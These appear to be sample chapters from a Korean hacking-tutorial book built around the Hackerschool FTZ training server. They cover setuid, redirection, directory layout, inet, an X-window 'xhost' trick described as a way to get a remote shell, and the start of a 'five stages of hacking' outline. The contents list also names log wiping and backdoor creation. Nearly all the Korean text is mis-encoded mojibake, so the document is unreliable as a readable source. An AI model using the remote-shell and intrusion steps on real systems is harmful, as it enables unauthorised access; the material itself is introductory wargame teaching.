[1]-SetuidÀÇ
°³³ä [2]-¸®´ÙÀÌ·º¼Ç [3]-µð·ºÅ丮ÀÇ
±¸Á¶ [4]-ÀÎÅͳÝ
¼öÆÛ¼¹ö INET [5]-½©
¸í·ÉÀ» ½ÇÇàÇÏ°í ½ÍÀ»¶©? [6]-ÇØÅ·ÀÇ
5´Ü°è [7]-Race ConditionÀ» ÀÌ¿ëÇÑ
ÇØÅ· ±â¹ý [8]-Æ÷¸Ë ½ºÆ®¸µ ¾îÅÃ(format
string attack) ÇØÅ· ±â¹ý [9]-¸ðÀÇÇØÅ·°ÔÀÓ [10]-¸ðÀÇ ÇØÅ· °ÔÀÓ ÇØÄ¿Áî·¦ ·¹º§2
-> ·¹º§3 [11]-¸®´ª½º ÇØÅ· Åø ÃÑÁýÇÕ - Æ÷Æ®½ºÄ³³Ê [12]-µÎ±ÙµÎ±Ù ½ÇÁ¤ ÇØÅ· [13]-µÎ±ÙµÎ±Ù ½ÇÀü ÇØÅ· - µ¥¸óÀÇ
¹öÀü È®ÀÎ [14]-¸®¸ðÆ® ÇØÅ· - 25¹ø Æ÷Æ®¸¦
ÀÌ¿ëÇÏ¿© °ø°ÝÇÏ´Â ¹æ¹ý [15]-¸®¸ðÆ® ÇØÅ· - sendmail 8.9.3
¹ö±×¸¦ ÀÌ¿ëÇÑ ÇØÅ·ÀÇ ½Ç ¿¹ [16]-¸®¸ðÆ® ÇØÅ· - cgi¸¦ ÅëÇÑ
ÇØÅ·ÀÇ ½Ç ¿¹ [17]-¸®¸ðÆ® ÇØÅ· - php ÆÄÀÏ
¾÷·Îµå Ãë¾àÁ¡ÀÇ ½Ç ¿¹ [18]-·ÎÄà ÇØÅ· [19]-ÇØÅ· ÈçÀûÁö¿ì±â [20]-¹éµµ¾î »ý¼º¹ý
»ùÇÃ1
SetuidÀÇ °³³ä
setuid´Â ¸ÖƼ À¯Á® ½Ã½ºÅÛÀÎ À¯´Ð½º/¸®´ª½º¿¡¼¸¸
º¼ ¼ö ÀÖ´Â µ¶Æ¯ÇÑ °³³äÀÔ´Ï´Ù.
ÀÌÇظ¦ µ½±â À§ÇØ ´ÙÀ½°ú °°Àº ¿¹¸¦
ÁغñÇÏ¿´½À´Ï´Ù.
À§ÀÇ ¿¹´Â ¿µÃ¶ÀÌ°¡ ¼ö°ÁõÀ¸·Î ÀÎÇØ
º´Ã¶ÀÇ ±ÇÇÑÀ» ´ë½ÅÇÏ´Â °ÍÀ» º¸¿©ÁÝ´Ï´Ù. ÀÌ¿Í ºñ½ÁÇÏ°Ô ¸®´ª½º »ç¿ëÀÚµéÀº
setuidÀ¸·Î ÀÎÇØ ÀϽÃÀûÀ¸·Î ´Ù¸¥ À¯Á®ÀÇ ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ°Ô µË´Ï´Ù.
±×·³ ÀÌ setuid°¡ ¸®´ª½º ½Ã½ºÅÛ¿¡ ¾î¶² ½ÄÀ¸·Î Àû¿ëµÇ´ÂÁö Á÷Á¢ ¸®´ª½º¸¦
»ç¿ëÇÏ¸é¼ ÀÍÇôº¾½Ã´Ù.
¸ÕÀú À©µµ¿ìÀÇ ½ÃÀÛ ¹öÆ°À» ´©¸¥ ÈÄ
- ½ÇÇà ¸Þ´º¸¦ Ŭ¸¯ ÇÕ´Ï´Ù. âÀÌ ¶ß¸é ¿±â¿¡ telnet ftz.hackerschool.org¸¦
ÀÔ·ÂÇÑ ÈÄ ¿£ÅÍ Å°¸¦ ´©¸¨´Ï´Ù.
[ À©µµ¿ì ÅÚ³Ý ÇÁ·Î±×·¥À» »ç¿ëÇÏ¿©
ftz¿¡ ¿¬°áÇÏ´Â ¸ð½À ]
±×·³ ÀÌ¿Í °°Àº ȸéÀÌ ³ªÅ¸³¯ °ÍÀÔ´Ï´Ù.
¿©·¯ºÐÀº Áö±Ý ÀÌ Ã¥À» ±¸ÀÔÇÑ µ¶ÀÚµé°ú ÇØÄ¿½ºÄð ȨÆäÀÌÁö ÀÌ¿ëÀڵ鿡°Ô
Á¦°øµÇ´Â ¸®´ª½º ¼¹ö¿¡ Á¢¼ÓÇÑ °ÍÀÔ´Ï´Ù.
[ ftz¿¡ Á¢¼ÓµÈ ȸé ]
¹é¹®ÀÌ ºÒ¿©ÀÏ°ß, ¹é°ßÀÌ ºÒ¿©ÀÏÇà.
¾ÕÀ¸·Î ¿©·¯ºÐÀº ÀÌ·± ½ÄÀ¸·Î Ã¥°ú ½ÇÁ¦ ¸®´ª½º ¼¹ö¸¦ ¿À°¡¸é¼ ÇØÅ·À»
ÇнÀÇÏ°Ô µÉ °ÍÀÔ´Ï´Ù. (±ÍÂúÀ¸¸é ±×³É Ã¥¸¸ º¸¾Æµµ »ó°ü¾ø½À´Ï´Ù.)
ÀÌÁ¦ id ºÎºÐ¿¡ realhack À̶ó°í ÀÔ·ÂÇÏ°í,
password ºÎºÐ¿¡´Â youngjin À̶ó°í ÀÔ·ÂÇÕ´Ï´Ù. Æнº¿öµå°¡ ÀԷµÇÁö
¾Ê´Â´Ù°í ´çȲÇÏÁö ¸¶¼¼¿ä! ´ÜÁö ¿©·¯ºÐ ´«¿¡ º¸ÀÌÁö¸¸ ¾ÊÀ» »ÓÀÌÁö
Æнº¿öµå´Â Á¤È®È÷ ÀԷµǰí ÀÖ´Â °ÍÀÔ´Ï´Ù.
¼º°øÀûÀ¸·Î ·Î±×ÀεǾú´Ù¸é ´ÙÀ½°ú
°°Àº ½© ÇÁ·ÒÇÁÆ®(shell prompt)¸¦ ¸¸³¯ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.
[ ¼º°øÀûÀ¸·Î ·Î±×ÀÎ µÈ ȸé ]
ÀÚ ÀÌÁ¦ ½© ÇÁ·ÒÇÁÆ®¿¡ whoami¶ó°í
ÀÔ·ÂÇغ¾½Ã´Ù. ±×·³ ´ÙÀ½°ú °°ÀÌ ÀÚ½ÅÀÇ ±ÇÇÑ¿¡ ´ëÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö
ÀÖ½À´Ï´Ù.
[
ÀÚ½ÅÀÌ ´©±¸ÀÎÁö ¾Ë ¼ö ÀÖ´Ù. -
whoami ]
±×·³ À̹ø¿£ chapter1/setuid ¶ó´Â
µð·ºÅ丮·Î À̵¿Çغ¾½Ã´Ù.
[
chapter1/setuid µð·ºÅ丮·Î À̵¿
]
ls -alÀ» ÀÔ·ÂÇÏ¸é ´ÙÀ½°ú °°Àº ¼¼
°³ÀÇ ÆÄÀÏÀ» º¼ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.
Áß°£»ý·«...
»ùÇÃ2
¸®´ÙÀÌ·º¼Ç
´ÙÀÌ·º¼Ç(direction)À̶õ "¹æÇâ"À»
¶æÇÏ°í ¸®(re)¶õ "´Ù½Ã"¸¦ ÀǹÌÇÕ´Ï´Ù. µû¶ó¼ ¸®´ÙÀÌ·º¼ÇÀ»
Çؼ®Çϸé, "¹æÇâÀ» Àç ÁöÁ¤ÇØ ÁØ´Ù." Á¤µµ°¡ µÉ °ÍÀÔ´Ï´Ù.
±×·³ ¾î¶² °æ¿ì¿¡ ¸®´ÙÀÌ·º¼ÇÀÌ ÇÊ¿äÇÏ°Ô µÇ´ÂÁö ¾Ë¾Æº¾½Ã´Ù.
Ãâ·Â ¸®´ÙÀÌ·º¼Ç
½© ÇÁ·ÒÇÁÆ®¿¡ ls -alÀ» ÀÔ·ÂÇØ º¾½Ã´Ù.
±×·³ ´ç¿¬È÷ ÇöÀç µð·ºÅ丮ÀÇ ÆÄÀÏ ¸ñ·ÏÀÌ È¸éÀ¸·Î Ãâ·ÂµÉ °ÍÀÔ´Ï´Ù.
ÇÏÁö¸¸ Àú´Â ±×°ÍÀ» ȸéÀÌ ¾Æ´Ñ ´Ù¸¥ °÷À¸·Î Ãâ·ÂµÇ°Ô ÇÏ°í ½Í½À´Ï´Ù.
ÀÌ·² ¶§ »ç¿ëÇÏ´Â °ÍÀÌ ¹Ù·Î Ãâ·Â Àç ÁöÁ¤(¸®´ÙÀÌ·º¼Ç) ÀÔ´Ï´Ù.
ÀÌ·¸°Ô ÀÔ·ÂÇϸé ls -alÀÇ °á°ú´Â
ȸéÀÌ ¾Æ´Ñ list.txt ¶ó´Â ÆÄÀÏ·Î ÀúÀåÀÌ µË´Ï´Ù.
½ÇÁ¦ ±×·¸°Ô µÇ´ÂÁö´Â list.txtÀ»
¿¾îº¸¸é ¾Ë°Ô µÉ °ÍÀÔ´Ï´Ù.
ÀÌ°ÍÀº lsÀÇ ¸Å´º¾óÀ» howto.txt ¶ó´Â
ÆÄÀÏ·Î ¸®´ÙÀÌ·º¼Ç ÇØÁØ ¸í·ÉÀÔ´Ï´Ù.
¸®´ÙÀÌ·º¼ÇÀ» ÀÌ¿ëÇÏ¿© ÆÄÀÏ ¸¸µé±â
ÀÚ ÀÌÁ¦ °¡Àå È¿°úÀûÀ¸·Î ¸®´ÙÀÌ·º¼ÇÀ»
»ç¿ëÇÏ´Â ¹æ¹ýÀ» ¾Ë·ÁÁÖ°Ú½À´Ï´Ù.
¸ÕÀú ½© ÇÁ·ÒÇÁÆ®¿¡ cat À̶ó°í ÀÔ·ÂÇØ
º¾½Ã´Ù. ÀÌ¾î¼ ¾Æ¹« ¹®ÀÚ¿À̳ª °è¼ÓÇؼ ÀÔ·ÂÇØ º¾½Ã´Ù. ±×·³ cat
¸í·É¿¡ ÀÇÇØ ÀÚ½ÅÀÇ ÀÔ·ÂÇÑ ¹®ÀÚ¿ÀÌ ´Ù½Ã Çѹø Ãâ·ÂµÇ´Â °ÍÀ» º¼ ¼ö
ÀÖ½À´Ï´Ù. ÄÁÆ®·² Å°¿Í D Å°¸¦ µ¿½Ã¿¡ ´©¸£¸é ÀÔ·ÂÀº Á¾·áµË´Ï´Ù.
[ cat ¸í·ÉÀÇ »ç¿ë - ÀÚ½ÅÀÌ ÀÔ·ÂÇÑ
¹®ÀÚ¿ÀÌ Ãâ·ÂµÈ´Ù. ]
ÀÌÁ¦ ´ÙÀ½°ú °°Àº ¸í·ÉÀ» ÀÔ·ÂÇØ º¾½Ã´Ù.
ÀÚ ¶Ç ´Ù½Ã ¾Æ¹« ¹®ÀÚ¿À̳ª ¸¶±¸
ÀÔ·ÂÇØ º¾½Ã´Ù. ÇÏÁö¸¸ À̹ø¿£ ÀÚ½ÅÀÌ ÀÔ·ÂÇÑ °ÍÀÌ ¸Þ¾Æ¸® Ä¡Áö ¾Ê½À´Ï´Ù.
±×·¸½À´Ï´Ù. ¸®´ÙÀÌ·º¼Ç¿¡ ÀÇÇØ ¸Þ¾Æ¸® ÃľßÇÒ ¹®ÀÚ¿µéÀÌ test.txt
¿¡ ÀúÀåÀÌ µÇ°í ÀÖ´Â °ÍÀÔ´Ï´Ù.
ÄÁÆ®·²-D Å°¸¦ ´·¯ Á¾·áÇÑ ÈÄ test.txt
ÆÄÀÏÀÇ ³»¿ëÀ» È®ÀÎÇØ º¾½Ã´Ù. ÀÚ½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿µéÀÌ ±×´ë·Î ÀúÀåµÇ¾î
ÀÖÀ» °ÍÀÔ´Ï´Ù.
ÀÌ°ÍÀº ¹®¼ ÆÄÀÏÀ» ÀÛ¼ºÇÒ ¶§³ª C¾ð¾îÀÇ
¼Ò½º ÆÄÀÏÀ» ÀÛ¼ºÇÒ ¶§ À¯¿ëÇÏ°Ô »ç¿ëµÇ´Ï ²À ±â¾ïÇϱ⠹ٶø´Ï´Ù.
Áß°£ »ý·«...
»ùÇà 3 - µð·ºÅ丮ÀÇ ±¸Á¶
ÃÖ »óÀ§ µð·ºÅ丮(·çÆ®)·Î À̵¿ÇÑ
ÈÄ ls -al¸¦ ÀÔ·ÂÇÏ¸é ¸¹Àº µð·ºÅ丮µéÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ÀÌÁ¦ ±×°ÍµéÀÌ
¾î¶² ¿ªÇÒÀ» ÇÏ´Â µð·ºÅ丮ÀÎÁö¿¡ ´ëÇؼ ¾Ë¾Æº¾½Ã´Ù.
- bin : ÀÌ°÷¿¡´Â °¡Àå ÇʼöÀûÀÎ
¸®´ª½º ½ÇÇà ÆÄÀϵéÀÌ µé¾î°¡ ÀÖ½À´Ï´Ù.
ex)
bash, ping, ls, mkdir, mv ....
- boot : ¸®´ª½º ºÎÆà °ü·Ã ÆÄÀϵé°ú,
Ä¿³ÎÀ̶õ °ÍÀÌ µé¾îÀÖ½À´Ï´Ù.
Ä¿³Î
- ¸®´ª½ºÀÇ ½ÉÀåºÎ ¿ªÇÒÀ» ÇÏ´Â ÆÄÀϷμ CPU,µð½ºÅ©,
ÇÁ¸°Å͵îÀÇ
Çϵå¿þ¾î¸¦ Á¦¾îÇÏ´Â ÀÓ¹«¸¦ ÇÕ´Ï´Ù.
|
- dev : ÀÌ°÷Àº ÄÄÇ»ÅÍ¿¡ ¼³Ä¡µÈ
Çϵå¿þ¾î¿¡ °üÇÑ Á¤º¸µéÀÌ ÆÄÀÏ ÇüÅ·ΠÀúÀåµÇ¾î ÀÖ´Â
°÷ÀÔ´Ï´Ù.
- etc : ¸¹Àº Áß¿äÇÑ ÆÄÀϵéÀÌ
ÀÌ°÷¿¡ µé¾î°¡ ÀÖ½À´Ï´Ù. Æнº¿öµå ÆÄÀÏ, ½¦µµ¿ì ÆÄÀÏ,
±× ¿Ü ´ëºÎºÐÀÇ ¸®´ª½º ¼³Á¤ ÆÄÀÏ µîµî.
- home : ÀÏ¹Ý »ç¿ëÀÚµéÀÇ µð·ºÅ丮°¡
µé¾î°¡´Â °÷ÀÔ´Ï´Ù. guest, mirable,realhack
µîµîÀÇ °èÁ¤ÀÌ ¸ðµÎ ÀÌ µð·ºÅ丮 ¾È¿¡ ¼ÓÇØ ÀÖ½À´Ï´Ù.
- ~/public_html : ÀÏ¹Ý »ç¿ëÀÚµéÀÇ
ȨÆäÀÌÁö ÆÄÀÏÀÌ µé¾î°¡ ÀÖ´Â °÷ÀÔ´Ï´Ù.
- lib : ¸¹Àº ¶óÀ̺귯¸® ÆÄÀϵéÀÌ
µé¾î°¡ ÀÖ½À´Ï´Ù.
¶óÀ̺귯¸®-Àç
»ç¿ëÀÌ °¡´ÉÇϵµ·Ï ¹Ì¸® ÀÛ¼ºµÈ ¹Ì¸® ÄÄÆÄÀÏµÈ ÇÔ¼öÀÇ
¸ðÀ½ÀÔ´Ï´Ù.
|
- mnt : mount ¸í·ÉÀ» »ç¿ëÇÏ¿©,
¸¶¿îÆ® ½ÃŲ ½Ãµð·Ò, Ç÷ÎÇÇ µð½ºÄϵîÀÌ µé¾î°¡´Â
µð·ºÅ丮.
¸¶¿îÆ®
- ¸®´ª½º¿¡¼± µå¶óÀÌºê °³³äÀÌ ¾ø½À´Ï´Ù. À©µµ¿ì³ª
µµ½º¿¡¼± µå¶óÀ̺긦 º¯°æÇϱâ À§ÇÏ¿© A:,
B:, ... D: µîµîÀÇ ¸í·ÉÀ» »ç¿ëÇÏÁö¸¸, ¸®´ª½º¿¡¼±
mount ¸í·ÉÀ» ÀÌ¿ëÇÏ¿© µå¶óÀ̺ê
¾ÈÀÇ ÆÄÀϵéÀ» ƯÁ¤ °æ·Î·Î žÀç(mounting)
½Ãŵ´Ï´Ù.
¿¹¸¦
µé¾î ½Ãµð·Ò ¾È¿¡ test.dat ¶ó´Â ÆÄÀÏÀÌ Çϳª µé¾îÀÖ´Ù°í
Çغ¾½Ã´Ù. ÀÌÁ¦ ¸¶¿îÆ® ¸í·É¾î¸¦ ÀÌ¿ëÇØ cdrom ÀÇ ÆÄÀÏÀ»
/mnt/cdrmo À̶õ °æ·Î·Î žÀç½ÃÄÑ º¸°Ú½À´Ï´Ù.
[root@ftz
/root]# mount /dev/cdrom /mnt/cdrom
[root@ftz
/root]# cd /mnt/cdrom
[root@ftz
cdrom]# ls
test.dat
<- cdrom ¾ÈÀÇ ÆÄÀÏÀÌ /mnt/cdrom/ À¸·Î
žÀçµÇ¾ú½À´Ï´Ù.
[root@ftz
cdrom]#
|
- proc : ÇÁ·Î¼¼½ºµéÀÌ ÆÄÀÏ ÇüÅ·Î
ÀúÀåµÇ´Â µð·ºÅ丮ÀÔ´Ï´Ù.
- root : ÀÏ¹Ý »ç¿ëÀÚÀÇ µð·ºÅ丮´Â
/home ¾Æ·¡ Á¸ÀçÇÏÁö¸¸, ·çÆ®ÀÇ È¨ µð·ºÅ丮´Â µû·Î
ÀÌ°÷¿¡ ÀúÀåµË´Ï´Ù.
- sbin : ±âº» ¸í·ÉÀ» Á¦¿ÜÇÑ ½Ã½ºÅÛ
°ü¸®¿ë ½ÇÇà ÆÄÀϵéÀÌ µé¾îÀÖ´Â µð·ºÅ丮ÀÔ´Ï´Ù.
- tmp : Àӽ÷ΠÆÄÀÏÀ» ÀúÀåÇÏ´Â
µð·ºÅ丮·Î¼, ±ÇÇÑ¿¡ »ó°ü¾øÀÌ ´©±¸³ª ÀÌ µð·ºÅ丮¿¡
ÆÄÀÏÀ» »ý¼ºÇÒ ¼ö ÀÖ½À´Ï´Ù.
sticky
bit - ´©±¸³ª ƯÁ¤ µð·ºÅ丮¿¡ ÆÄÀÏÀ» »ý¼ºÇÒ ¼ö ÀÖ´Ù´Â
¸»Àº ¹Ý´ë·Î ´©±¸³ª ±× µð·ºÅ丮 ¾ÈÀÇ ÆÄÀÏÀ»
»èÁ¦ÇÒ ¼ö ÀÖ´Ù´Â ¸»ÀÌ µË´Ï´Ù. ÀÌ°ÍÀ»
¹æÁöÇÏ°Ô À§ÇØ sticky bit¶ó´Â °ÍÀÌ ³ªÅ¸³µ´Âµ¥,
ÀÌ°ÍÀ» ¼³Á¤ÇØ ³õÀ¸¸é ´©±¸³ª
ÆÄÀÏÀ» »ý¼ºÇÒ ¼ö ´Â ÀÖÁö¸¸ Áö¿ì´Â °ÍÀº ±×
ÆÄÀÏÀÇ »ý¼ºÀÚ¸¸ ÇÒ ¼ö ÀְԵ˴ϴÙ.
drwxrwxrwt
3 root root
3072
Oct 16 15:58 tmp
->
/tmp µð·ºÅ丮¿£ sticky bitÀÌ °É·ÁÀÖ½À´Ï´Ù. (Æ۹̼Ç
Á¤º¸ °¡Àå ¿À¸¥ÂÊÀÇ 't')
|
- usr : ´Ù¾çÇÑ ÀÀ¿ë ÇÁ·Î±×·¥µéÀÌ
¼³Ä¡µÇ¾î ÀÖ´Â °÷ÀÔ´Ï´Ù.
- var : ½Ã½ºÅÛ ¿î¿µ Áß¿¡ »ý¼ºµÇ´Â
°¢Á¾ Àӽà ÆÄÀϵéÀÌ µé¾î°¡ ÀÖÀ¸¸ç, ¿ÜºÎ Á¢¼Ó¿¡
´ëÇÑ ·Î±× ÆÄÀϵéÀÌ ¹Ù·Î ÀÌ°÷¿¡ ÀúÀåµË´Ï´Ù.
»ùÇà 4 - ÀÎÅÍ³Ý ¼öÆÛ¼¹ö INET
³ªÀÇ ¸®´ª½º¿¡ telnet Á¢¼ÓÀ» °¡´ÉÇÏ°Ô
ÇØÁÖ´Â telnet ¼¹ö°¡ ÀÛµ¿ÁßÀ̶ó°í Çغ¾½Ã´Ù. ±×¸®°í ¾î¶² ÀÌ°¡ ¿ÜºÎ¿¡¼
À©µµ¿ì ÅÚ³Ý Á¢¼Ó ÇÁ·Î±×·¥À» ÅëÇØ ³ªÀÇ ¼¹ö¿¡ ¿äûÀ» º¸³½´Ù°í ÇսôÙ.
±×·³ telnet ¼¹ö´Â ±× ¿äûÀ» ¹Þ°í ·Î±×ÀÎ ÀÛ¾÷À» ÇÒ °ÍÀÔ´Ï´Ù.
[ ´ë±â »óÅ¿¡ ÀÖ´Ù°¡ ¿äûÀ» ¹Þ°í
ÀÛ¾÷À» ÇÏ´Â ÅÚ³Ý ¼¹ö ]
±×·³ À̹ø¿£ ¿ÜºÎ·ÎºÎÅÍÀÇ Á¢¼ÓÀÌ
¾øÀ» ¶§¸¦ »ý°¢ÇØ º¾½Ã´Ù.
[ ¿äûÀÌ ¾ø¾î ±×³É ³î°í¸¸ ÀÖ´Â ÅÚ³Ý
¼¹ö ]
ÀÌ¿Í °°ÀÌ telnet ¼¹ö´Â ÇÒ ÀÏÀÌ
¾øÀ½¿¡µµ ºÒ±¸ÇÏ°í cpu È¿À²¸¸ ³¶ºñÇÏ°Ô µÉ °ÍÀÔ´Ï´Ù.
telnet ¼¹ö»Ó¸¸ ¾Æ´Ï¶ó, ´Ù¸¥ ¼¹öµéµµ
ÇÔ²² ÀÛµ¿ÁßÀ̶ó¸é ´õ ½É°¢ÇØÁý´Ï´Ù.
[ ÇÒ ÀÏ ¾øÀÌ ÀÚ¿ø¸¸ ³¶ºñÇÏ´Â ¼¹öµé
]
ÀÌ·± °ÍÀ» ¹æÁöÇÏ°Ô À§ÇØ »ý°Ü³ °ÍÀÌ
¹Ù·Î ÀÎÅÍ³Ý ¼öÆÛ¼¹ö inet ÀÔ´Ï´Ù.
inet Àº ÀÏ´Ü ¸ðµç ¼¹öµéÀ» Á¾·á½ÃÄÑ
³õÀº ÈÄ..
[ ¼¹öµéÀ» Àç¿ì´Â inet ]
¿ÜºÎÀÇ ¿äûÀÌ ÀÖÀ» ¶§¸¸ ÇØ´ç ¼¹ö¸¦
±ú¿ö¼ ½ÇÇà½Ãŵ´Ï´Ù.
[ ¿äûÀÌ µé¾î ¿ÔÀ» ¶§¸¸ ½ÇÇàµÇ´Â
ftp server ]
ÀÌ·¸°Ô ÇÏ¸é ¾µµ¥¾ø´Â ÀÚ¿ø ³¶ºñ´Â
¾ø¾îÁö°Ô µÇ´Â °ÍÀÔ´Ï´Ù.
»ùÇÃ5 - ½© ¸í·ÉÀ» ½ÇÇàÇÏ°í ½ÍÀ»
¶©?
X-window ¿ª½Ã MS-windowó·³ ¸¶¿ì½º
Çϳª·Î °ÅÀÇ ¸ðµç °ÍÀ» ÇØ°á ÇÒ ¼ö ÀÖ½À´Ï´Ù. ÇÏÁö¸¸ ¼öµ¿À¸·Î ÇÁ·Î±×·¥À»
¼³Ä¡ÇÒ ¶§³ª °£´Ü °£´ÜÇÑ ½© ¸í·ÉµéÀ» ½ÇÇàÇÒ ¶§Ã³·³ /bin/bash¸¦
ºÒ·¯¿Í¼ ÀÛ¾÷À» ÇؾßÇÒ ÇÊ¿ä°¡ Á¾Á¾ »ý±é´Ï´Ù.
¹Ù·Î ÀÌ·² ¶§ »ç¿ëÇÏ´Â °ÍÀÌ X-window
Àü¿ë ½©ÀÎ xterm ÀÔ´Ï´Ù. ¹ÙÅÁȸéÀÇ ¾ÆÀÌÄÜ Áß term ÀÚ°¡ µé¾î°¡´Â
°ÍÀ» ã¾Æ¼ Ŭ¸¯ ÇØ º¸¼¼¿ä. ±×·³ ´ÙÀ½°ú °°Àº Å͹̳ÎÀÌ »ý¼ºµÉ °ÍÀÔ´Ï´Ù.
[ X-window¿ë ½©ÀÎ xtermÀÇ ¸ð½À ]
xterm ¸»°í hanterm À̶õ °Íµµ Àִµ¥
ÀÌ°ÍÀº ÇÑ±Û »ç¿ëÀÌ °¡´ÉÇÑ Å͹̳ÎÀÔ´Ï´Ù. µû¶ó¼ ¾ÕÀ¸·Î xterm º¸´Ü
hantermÀ» »ç¿ëÇÏ´Â ÀÏÀÌ ÈξÀ ¸¹À» °ÍÀÔ´Ï´Ù.
¿ÜºÎ·Î ÇÁ·Î±×·¥µéÀ» ½ÇÇà½Ãų ¼ö
ÀÖ´Ù!
X-window °ü·Ã ÇÁ·Î±×·¥µéÀÇ Æ¯Â¡
Áß Çϳª°¡ ¹Ù·Î ³» ÄÄÇ»ÅÍ°¡ ¾Æ´Ñ ´Ù¸¥ »ç¶÷ÀÇ ÄÄÇ»ÅͷΠƯÁ¤ ÇÁ·Î±×·¥À»
½ÇÇà½Ãų ¼ö ÀÖ´Ù´Â °ÍÀÔ´Ï´Ù. ´Ü, ´ÙÀ½°ú °°Àº Á¶°ÇµéÀÌ ¸¸Á·µÇ¾î¾ß
ÇÕ´Ï´Ù.
- »ó´ë¹æÀÇ ÄÄÇ»ÅÍ·Î ½ÇÇàµÉ ÇÁ·Î±×·¥ÀÇ
Á¶°Ç
½ÇÇà ¿É¼Ç Áß¿¡ -display ¶õ °ÍÀÌ
ÀÖ¾î¾ß ÇÑ´Ù.
- ±× ÇÁ·Î±×·¥À» ¹Þ¾ÆµéÀÏ ÄÄÇ»ÅÍÀÇ
Á¶°Ç
Xserver °¡ ½ÇÇà ÁßÀ̾î¾ß ÇÑ´Ù.
xhost ¸í·ÉÀ» »ç¿ëÇÏ¿© Á¢±Ù Çã¿ë
¸ñ·Ï¿¡ ÇØ´ç ip¸¦ Ãß°¡ ½ÃÄÑ¾ß ÇÑ´Ù.(¸®´ª½ºÀÏ °æ¿ì¿¡¸¸ ÇØ´ç)
(ex. xhost +211.195.119.179)
Xserver¶õ?
X-windowÀÇ DISPLAY¸¦ °ü¸®ÇÏ´Â ¼¹öÀ̸ç, ÀÌ°ÍÀ» °¡´ÉÇÏ°Ô
ÇØÁÖ´Â ÇÁ·Î±×·¥Àº /usr/X11R6/bin/xdm ÀÔ´Ï´Ù. (
xmd - X Display Manager )
|
±×·±µ¥ ¿©±â¼ ÇÑ°¡Áö Àǹ®Á¡ÀÌ »ý±é´Ï´Ù.
"±»ÀÌ ´Ù¸¥ »ç¶÷ÀÇ ÇÁ·Î±×·¥À» ³» ÄÄÇ»ÅÍ¿¡¼ ½ÇÇàÇØ¾ß ÇÒ ÀÌÀ¯°¡
ÀÖÀ»±î?" ±×·¡ ÇÁ·Î±×·¥ÀÌ ÇÊ¿äÇÏ¸é ´Ù¿î·Îµå ¹ÞÀ¸¸é µÇÁö ¿Ö ³²ÀÇ
½Å¼¼¸¦ Á®¾ß Çմϱî.
ÇÏÁö¸¸ ÇØ´ç ÇÁ·Î±×·¥ÀÌ "»ó´ë¹æÀÇ
±ÇÇÑ"À¸·Î ½ÇÇàµÈ ´Ù´Â °ÍÀ» »ý°¢Çغ»´Ù¸é ¸»ÀÌ ´Þ¶óÁý´Ï´Ù. Áï,
xtermÀ̳ª hantermÀ» ³»°¡ ¹ÞÀ» ¼ö¸¸ ÀÖ´Ù¸é ³ª´Â »ó´ë¹æÀÇ shell ±ÇÇÑÀ»
¾ò°Ô µÇ´Â °ÍÀÔ´Ï´Ù.
±×¸®°í ÀÌ°ÍÀº °èÁ¤ÀÌ ¾ø´Â »óÅ¿¡¼
Ÿ°Ù ÄÄÇ»ÅÍÀÇ ±ÇÇÑÀ» ¾ò´Â ¸®¸ðÆ® ¾îÅÃ(Remote Attack)¿¡ ¿ä±äÇÏ°Ô
»ç¿ëµË´Ï´Ù.
»ùÇÃ 6 ÇØÅ·ÀÇ 5´Ü°è
(1) Á¤º¸¼öÁý
ÇØÅ· ÇÏ°íÀÚ Çϴ Ÿ°ÙÀ» Á¤Çß´Ù¸é
°¡Àå ¸ÕÀú ÇØ¾ß ÇÒ ÀÏÀº ±×°Í¿¡ ´ëÇÑ Á¤º¸¸¦ ¼öÁýÇÏ´Â °ÍÀÔ´Ï´Ù. Á¤º¸°¡
ÀÚ¼¼Çϸé ÀÚ¼¼ÇÒ¼ö·Ï ÇØÅ·¿¡ ¼º°øÇÒ È®·üÀº ³ô¾ÆÁý´Ï´Ù.
ÇÊÀÚ´Â º¸Åë ´ÙÀ½°ú °°Àº ¼ø¼·Î Ÿ°ÙÀÇ
Á¤º¸¸¦ Ž»öÇÕ´Ï´Ù.
1. Æ÷Æ® ½ºÄ³´×
- Æ÷Æ® ½ºÄ³´×À̶õ ÇØ´ç IPÀÇ ÄÄÇ»ÅÍ¿¡
¿·ÁÀÖ´Â Æ÷Æ®µéÀ» °Ë»öÇÏ´Â °ÍÀ» ¸»ÇÕ´Ï´Ù. Áý¿¡ ´ë¹®ÀÌ ¿·Á ÀÖ´Ù¸é
´Ù¸¥ »ç¶÷ÀÌ ±×°ÍÀ» ÅëÇØ µé¾î¿Ã ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. ¸¶Âù°¡Áö·Î ÄÄÇ»ÅÍ¿¡
Æ÷Æ®°¡ ¿·ÁÀÖ´Ù¸é ±×°ÍÀ» ÀÌ¿ëÇØ ÇØÅ·À» ÇÏ´Â °ÍÀÌ °¡´ÉÇØÁý´Ï´Ù.
2. µ¥¸ó ÇÁ·Î±×·¥µéÀÇ Á¤º¸ È®ÀÎ
- µ¥¸óÀ̶õ °¢ ½Ã½ºÅÛ¿¡ °ü·ÃµÈ ÀÛ¾÷À»
ÇÏ´Â °ÍÀ¸·Î¼ '¼ºñ½º'¶ó°í ÀÌÇØÇصµ ÁÁ½À´Ï´Ù. ¿¹¸¦ µé¾î ÆÄÀÏ Àü¼ÛÀ»
°¡´ÉÄÉ ÇØÁÖ´Â FTP ¼ºñ½º¸¦ Á¦°øÇÏ´Â °ÍÀº FTP µ¥¸óÀÔ´Ï´Ù. ¸¶Âù°¡Áö·Î
¿©·¯ºÐÀÌ ftz¿¡ ÅÚ³Ý Á¢¼ÓÀ» ÇÒ ¼ö ÀÖ´Â °ÍÀº ftz¿¡ ÅÚ³Ý µ¥¸óÀÌ ÀÛµ¿
ÁßÀ̱⠶§¹®ÀÔ´Ï´Ù.
µ¥¸óÀ» Á» ´õ Á¤È®ÇÏ°Ô ¸»ÇÑ´Ù¸é ºÎÆÃ
½Ã ÀÚµ¿À¸·Î ½ÇÇàµÈ ÈÄ ¼Ë´Ù¿îÀÌ µÇ±â Àü±îÁö ¹é±×¶ó¿îµå·Î ÀÛ¾÷µÇ´Â
